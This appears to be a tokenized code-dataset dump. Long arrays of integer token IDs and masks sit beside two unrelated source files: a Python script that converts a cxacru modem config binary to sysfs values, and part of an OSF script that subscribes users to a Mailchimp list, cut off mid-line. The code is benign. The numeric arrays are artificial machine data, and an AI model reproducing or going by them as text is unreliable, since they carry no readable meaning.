14, 16, 446, 334, 4468, 446, 282, 17, 9, 1182, 334, 65, 18, 446, 282, 17, 9, 288, 327, 2836, 26, 288, 327, 259, 291, 423, 551, 63, 2734, 63, 331, 13957, 887, 275, 378, 14, 16, 288, 327, 259, 291, 423, 551, 63, 2734, 63, 31025, 275, 413, 14, 16, 446, 334, 4468, 446, 282, 18, 9, 1182, 334, 65, 19, 446, 282, 18, 9, 339, 768, 793, 63, 14639, 8, 2921, 9, 272, 347, 24720, 63, 12726, 63, 1065, 8, 277, 12, 1174, 304, 267, 372, 291, 423, 1065, 8, 929, 12, 24720, 29, 549 ]
[ 199, 3, 1898, 6900, 701, 13870, 262, 10444, 2176, 453, 12, 4580, 605, 475, 11379, 25409, 12, 1804, 287, 577, 778, 199, 3, 2900, 4481, 4644, 199, 3, 199, 199, 504, 4389, 2663, 14, 1490, 596, 14, 571, 492, 437, 976, 9779, 2037, 411, 1173, 12, 593, 6265, 18, 12, 18553, 78, 12, 18553, 78, 18, 12, 10751, 5332, 199, 504, 4389, 2663, 14, 1490, 596, 14, 571, 492, 3542, 698, 465, 16328, 199, 504, 4389, 2663, 14, 1490, 596, 492, 491, 618, 11908, 8309, 2587, 707, 12, 16078, 12, 8388, 11389, 13606, 199, 504, 4389, 2663, 14, 3248, 492, 1022, 352, 11908, 12, 6682, 331, 4375, 12, 1964, 77, 475, 4375, 12, 14550, 31672, 199, 504, 4389, 2663, 14, 3248, 492, 31951, 12, 1022, 11737, 743, 443, 12, 1303, 274, 12, 1999, 77, 199, 504, 562, 1447, 14, 2253, 14, 3911, 3156, 83, 492, 9496, 461, 13726, 3156, 12, 10172, 5446, 461, 13726, 3156, 12, 21892, 13726, 3156, 12, 29659, 438, 13726, 3156, 199, 504, 562, 1447, 14, 2253, 14, 3911, 3156, 83, 492, 32539, 1132, 434, 13726, 3156, 12, 10113, 5736, 13726, 3156, 12, 377, 1384, 5736, 13726, 3156, 199, 504, 562, 1447, 14, 2253, 14, 3911, 3156, 83, 492, 14243, 19157, 13726, 3156, 12, 1488, 58, 16034, 19157, 13726, 3156, 12, 1323, 11220, 11265, 13726, 3156, 199, 504, 562, 1447, 14, 2253, 14, 3911, 3156, 83, 492, 820, 3833, 13726, 3156, 12, 21344, 9670, 10076, 13726, 3156, 199, 504, 1275, 492, 11620, 1018, 199, 646, 14920, 199, 646, 2050, 199, 504, 562, 1447, 14, 1974, 492, 943, 63, 14639, 199, 646, 2680, 465, 980, 199, 646, 5549, 199, 199, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 893, 26, 272, 687, 562, 1447, 2718, 492, 603, 457, 13606, 12, 820, 3833, 13606, 199, 2590, 3545, 465, 325, 26, 272, 2512, 14, 3764, 360, 6531, 440, 492, 562, 1447, 2718, 14, 23889, 1265, 3238, 652, 365, 4903, 6657, 8995, 78, 7, 673, 283, 15322, 1086, 370, 675, 562, 1447, 4618, 3156, 83, 911, 2449, 2659, 199, 199, 893, 26, 272, 687, 1373, 3572, 863, 76, 1632, 492, 7309, 19156, 4373, 13606, 199, 2590, 26, 272, 2512, 14, 3764, 360, 6531, 440, 492, 1373, 3572, 863, 76, 1632, 14, 23889, 1265, 3238, 652, 365, 4903, 6657, 8995, 78, 7, 673, 283, 15322, 1086, 370, 675, 8126, 402, 12250, 4618, 3156, 83, 911, 2449, 2659, 421, 199, 39, 1179, 63, 25825, 275, 1695, 14, 8988, 69, 13, 19, 421, 199, 533, 3232, 3218, 7446, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 2656, 12, 1511, 12, 13882, 707, 29, 403, 304, 267, 340, 13882, 707, 26, 288, 291, 423, 1782, 63, 344, 275, 13882, 707, 14, 21961, 323, 63, 1782, 63, 344, 342, 288, 291, 423, 4648, 275, 13882, 707, 14, 4648, 267, 587, 26, 288, 291, 423, 1782, 63, 344, 275, 378, 288, 291, 423, 4648, 275, 488, 398, 340, 2656, 14, 12954, 63, 11494, 365, 488, 26, 288, 746, 6064, 360, 2253, 1630, 440, 1172, 2388, 580, 608, 63, 11494, 663, 358, 267, 587, 26, 288, 291, 14, 12954, 63, 11494, 275, 2656, 14, 12954, 63, 11494, 267, 291, 423, 22176, 63, 875, 275, 2656, 14, 2119, 63, 875, 267, 291, 423, 9223, 63, 265, 63, 3911, 3156, 83, 275, 2656, 14, 3911, 3156, 83, 14, 9223, 63, 2682, 267, 291, 423, 18837, 63, 7882, 275, 2656, 14, 3911, 3156, 83, 14, 261, 10251, 9462, 63, 2682, 63, 7882, 267, 291, 423, 1419, 275, 1511, 267, 291, 423, 22930, 275, 488, 267, 291, 423, 25323, 707, 275, 488, 267, 291, 423, 12486, 275, 756, 267, 291, 423, 4468, 275, 378, 14, 267, 291, 423, 12954, 275, 488, 267, 291, 423, 551, 63, 2734, 63, 331, 13957, 887, 275, 413, 14, 16, 267, 291, 423, 551, 63, 2734, 63, 31025, 275, 413, 14, 16, 267, 291, 423, 3990, 63, 807, 275, 1052, 339, 347, 663, 63, 4468, 63, 460, 63, 521, 2926, 8, 277, 12, 5131, 12, 900, 2926, 304, 267, 291, 423, 4468, 275, 5131, 267, 291, 423, 521, 2926, 275, 900, 2926, 267, 291, 423, 12954, 275, 291, 14, 12954, 63, 11494, 8, 4468, 9, 267, 291, 423, 873, 63, 4617, 1018, 342, 267, 291, 423, 8489, 63, 22930, 342, 339, 347, 485, 873, 63, 4617, 1018, 8, 277, 304, 267, 5131, 275, 291, 423, 4468, 267, 282, 17, 275, 291, 423, 1419, 14, 551, 63, 4468, 63, 827, 267, 282, 18, 275, 291, 423, 1419, 14, 551, 63, 4468, 63, 988, 63, 331, 13957, 887, 267, 282, 19, 275, 291, 423, 1419, 14, 551, 63, 4468, 63, 988, 63, 552, 78, 1005, 63, 74, 4548, 398, 340, 291, 423, 1419, 14, 4617, 1018, 26, 288, 291, 423, 551, 63, 2734, 63, 331, 13957, 887, 275, 5131, 288, 291, 423, 551, 63, 2734, 63, 31025, 275, 5131, 288, 327, 2921, 14, 815, 360, 28669, 11620, 1018, 358, 288, 327, 692, 5131, 2695, 282, 17, 26, 288, 327, 259, 291, 423, 551, 63, 2734, 63, 331, 13957, 887, 275, 413, 14, 16, 288, 327, 259, 291, 423, 551, 63, 2734, 63, 31025, 275, 413, 14, 16, 288, 327, 4164, 5131, 2356, 282, 19, 26, 288, 327, 259, 291, 423, 551, 63, 2734, 63, 331, 13957, 887, 275, 378, 14, 16, 288, 327, 259, 291, 423, 551, 63, 2734, 63, 31025, 275, 378, 14, 16, 288, 327, 4164, 5131, 665, 282, 18, 26, 288, 327, 259, 291, 423, 551, 63, 2734, 63, 31025, 275, 413, 14, 16, 288, 327, 259, 291, 423, 551, 63, 2734, 63, 331, 13957, 887, 275, 413, 14, 16, 446, 334, 4468, 446, 282, 17, 9, 1182, 334, 65, 18, 446, 282, 17, 9, 288, 327, 2836, 26, 288, 327, 259, 291, 423, 551, 63, 2734, 63, 331, 13957, 887, 275, 378, 14, 16, 288, 327, 259, 291, 423, 551, 63, 2734, 63, 31025, 275, 413, 14, 16, 446, 334, 4468, 446, 282, 18, 9, 1182, 334, 65, 19, 446, 282, 18, 9, 339, 768, 793, 63, 14639, 8, 2921, 9, 272, 347, 24720, 63, 12726, 63, 1065, 8, 277, 12, 1174, 304, 267, 372, 291, 423, 1065, 8, 929, 12, 24720, 29, 549, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
prasad-joshi/logfs
Documentation/networking/cxacru-cf.py
14668
1626
#!/usr/bin/env python # Copyright 2009 Simon Arlott # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the Free # Software Foundation; either version 2 of the License, or (at your option) # any later version. # # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or # FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for # more details. # # You should have received a copy of the GNU General Public License along with # this program; if not, write to the Free Software Foundation, Inc., 59 # Temple Place - Suite 330, Boston, MA 02111-1307, USA. # # Usage: cxacru-cf.py < cxacru-cf.bin # Output: values string suitable for the sysfs adsl_config attribute # # Warning: cxacru-cf.bin with MD5 hash cdbac2689969d5ed5d4850f117702110 # contains mis-aligned values which will stop the modem from being able # to make a connection. If the first and last two bytes are removed then # the values become valid, but the modulation will be forced to ANSI # T1.413 only which may not be appropriate. # # The original binary format is a packed list of le32 values. import sys import struct i = 0 while True: buf = sys.stdin.read(4) if len(buf) == 0: break elif len(buf) != 4: sys.stdout.write("\n") sys.stderr.write("Error: read {0} not 4 bytes\n".format(len(buf))) sys.exit(1) if i > 0: sys.stdout.write(" ") sys.stdout.write("{0:x}={1}".format(i, struct.unpack("<I", buf)[0])) i += 1 sys.stdout.write("\n")
gpl-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 8937, 10751, 265, 1952, 1653, 84, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 652, 199, 3, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 314, 2868, 199, 3, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 199, 3, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 1325, 2428, 199, 3, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 3169, 503, 199, 3, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 1696, 1684, 844, 367, 199, 3, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 3180, 543, 199, 3, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 2752, 12, 3277, 2020, 8155, 199, 3, 15630, 10902, 446, 14453, 13540, 12, 8226, 12, 4828, 221, 15673, 13, 13421, 12, 8217, 14, 199, 3, 199, 3, 11028, 26, 286, 10104, 6558, 13, 2177, 14, 647, 665, 286, 10104, 6558, 13, 2177, 14, 1393, 199, 3, 7242, 26, 1338, 1059, 11233, 367, 314, 984, 2319, 282, 795, 76, 63, 888, 2225, 199, 3, 199, 3, 15902, 26, 286, 10104, 6558, 13, 2177, 14, 1393, 543, 15830, 21, 2631, 286, 697, 645, 13731, 1020, 1876, 68, 21, 379, 21, 68, 2006, 1400, 70, 845, 1138, 996, 6019, 199, 3, 3509, 3201, 13, 19175, 1338, 1314, 911, 3631, 314, 818, 77, 687, 3769, 7688, 199, 3, 370, 1852, 282, 1950, 14, 982, 314, 1642, 436, 2061, 2877, 2783, 787, 4829, 2066, 199, 3, 314, 1338, 8649, 1686, 12, 1325, 314, 3413, 5332, 911, 506, 19565, 370, 25600, 199, 3, 377, 17, 14, 23663, 1454, 1314, 1443, 440, 506, 5827, 14, 199, 3, 199, 3, 710, 3379, 3366, 1475, 365, 282, 13170, 769, 402, 1026, 708, 1338, 14, 199, 199, 646, 984, 199, 646, 2702, 199, 199, 73, 275, 378, 199, 6710, 715, 26, 199, 198, 1436, 275, 984, 14, 6626, 14, 739, 8, 20, 9, 421, 198, 692, 822, 8, 1436, 9, 508, 378, 26, 507, 198, 4785, 199, 198, 4164, 822, 8, 1436, 9, 1137, 841, 26, 507, 198, 1274, 14, 2703, 14, 952, 4582, 78, 531, 507, 198, 1274, 14, 3083, 14, 952, 480, 547, 26, 1586, 469, 16, 93, 440, 841, 2783, 60, 78, 1674, 908, 8, 552, 8, 1436, 1724, 507, 198, 1274, 14, 2224, 8, 17, 9, 421, 198, 692, 284, 690, 378, 26, 507, 198, 1274, 14, 2703, 14, 952, 480, 6099, 199, 198, 1274, 14, 2703, 14, 952, 13076, 16, 26, 88, 93, 3126, 17, 5469, 908, 8, 73, 12, 2702, 14, 5301, 6757, 41, 401, 4123, 2788, 16, 2459, 199, 198, 73, 847, 413, 199, 199, 1274, 14, 2703, 14, 952, 4582, 78, 531, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 8937, 10751, 265, 1952, 1653, 84, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 652, 199, 3, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 314, 2868, 199, 3, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 199, 3, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 1325, 2428, 199, 3, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 3169, 503, 199, 3, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 1696, 1684, 844, 367, 199, 3, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 3180, 543, 199, 3, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 2752, 12, 3277, 2020, 8155, 199, 3, 15630, 10902, 446, 14453, 13540, 12, 8226, 12, 4828, 221, 15673, 13, 13421, 12, 8217, 14, 199, 3, 199, 3, 11028, 26, 286, 10104, 6558, 13, 2177, 14, 647, 665, 286, 10104, 6558, 13, 2177, 14, 1393, 199, 3, 7242, 26, 1338, 1059, 11233, 367, 314, 984, 2319, 282, 795, 76, 63, 888, 2225, 199, 3, 199, 3, 15902, 26, 286, 10104, 6558, 13, 2177, 14, 1393, 543, 15830, 21, 2631, 286, 697, 645, 13731, 1020, 1876, 68, 21, 379, 21, 68, 2006, 1400, 70, 845, 1138, 996, 6019, 199, 3, 3509, 3201, 13, 19175, 1338, 1314, 911, 3631, 314, 818, 77, 687, 3769, 7688, 199, 3, 370, 1852, 282, 1950, 14, 982, 314, 1642, 436, 2061, 2877, 2783, 787, 4829, 2066, 199, 3, 314, 1338, 8649, 1686, 12, 1325, 314, 3413, 5332, 911, 506, 19565, 370, 25600, 199, 3, 377, 17, 14, 23663, 1454, 1314, 1443, 440, 506, 5827, 14, 199, 3, 199, 3, 710, 3379, 3366, 1475, 365, 282, 13170, 769, 402, 1026, 708, 1338, 14, 199, 199, 646, 984, 199, 646, 2702, 199, 199, 73, 275, 378, 199, 6710, 715, 26, 199, 198, 1436, 275, 984, 14, 6626, 14, 739, 8, 20, 9, 421, 198, 692, 822, 8, 1436, 9, 508, 378, 26, 507, 198, 4785, 199, 198, 4164, 822, 8, 1436, 9, 1137, 841, 26, 507, 198, 1274, 14, 2703, 14, 952, 4582, 78, 531, 507, 198, 1274, 14, 3083, 14, 952, 480, 547, 26, 1586, 469, 16, 93, 440, 841, 2783, 60, 78, 1674, 908, 8, 552, 8, 1436, 1724, 507, 198, 1274, 14, 2224, 8, 17, 9, 421, 198, 692, 284, 690, 378, 26, 507, 198, 1274, 14, 2703, 14, 952, 480, 6099, 199, 198, 1274, 14, 2703, 14, 952, 13076, 16, 26, 88, 93, 3126, 17, 5469, 908, 8, 73, 12, 2702, 14, 5301, 6757, 41, 401, 4123, 2788, 16, 2459, 199, 198, 73, 847, 413, 199, 199, 1274, 14, 2703, 14, 952, 4582, 78, 531, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
jeffreyliu3230/osf.io
scripts/sync_email.py
23
6032
""" Subscribe all registered OSF users to the 'Open Science Framework General' mailing list on mailchimp. From the API docs: 1. Grab the users to be updated or created 2. For each user's status, sort them into two batches: Users to be subscribed or updated Users to be unsubscribed 3. For each of those batches, use: listBatchSubscribe() to add new or update existing users on your List listBatchUnsubscribe() to remove old users from your List http://apidocs.mailchimp.com/api/how-to/sync-you-to-mailchimp.php Log: Run on production by SL at 23:11 EST. 6680 users' `mailing_records` fields were updated. 6674 users were subscribed to the Open Science Framework General mailing list via the Mailchimp API. Running the migration the first time failed due to a user having an GUID record with an incorrect referent (pointing to the `osffile` collection rather than `user`). This GUID object was manually modified. The migration was run again, and it finished successfully. """ import sys from modularodm import Q from framework.auth.core import User from website import mailchimp_utils, settings from website.app import init_app from tests.base import OsfTestCase from tests.factories import UserFactory, UnconfirmedUserFactory from nose.tools import * import mock import logging from scripts import utils as script_utils logger = logging.getLogger(__name__) GENERAL_LIST = settings.MAILCHIMP_GENERAL_LIST def main(dry=True): # Set up storage backends init_app(routes=False) users = list(get_users()) update_users(users, dry=dry) subscribe_users(users, dry=dry) # confirm list name before running script def update_users(users, dry=True): for user in get_users(): if not dry: if user.mailing_lists is None: user.mailing_lists = {} user.mailing_lists[GENERAL_LIST] = True user.save() logger.info('User {}\'s mailing_lists dict updated.'.format(user._id)) def get_users(): """Get all users who will be subscribed to the OSF General mailing list.""" # Exclude unconfirmed and unregistered users # NOTE: Unclaimed and unconfirmed users have is_registered=False return User.find(Q('is_registered', 'eq', True)) def serialize_user(user): """Return the formatted dict expected by the mailchimp batch subscribe endpoint. https://apidocs.mailchimp.com/api/2.0/lists/batch-subscribe.php """ return {'email': {'email': user.username}, 'email_type': 'html', 'merge_vars': { 'fname': user.given_name, 'lname': user.family_name} } def subscribe_users(users, dry=True): serialized = [serialize_user(user) for user in users] m = 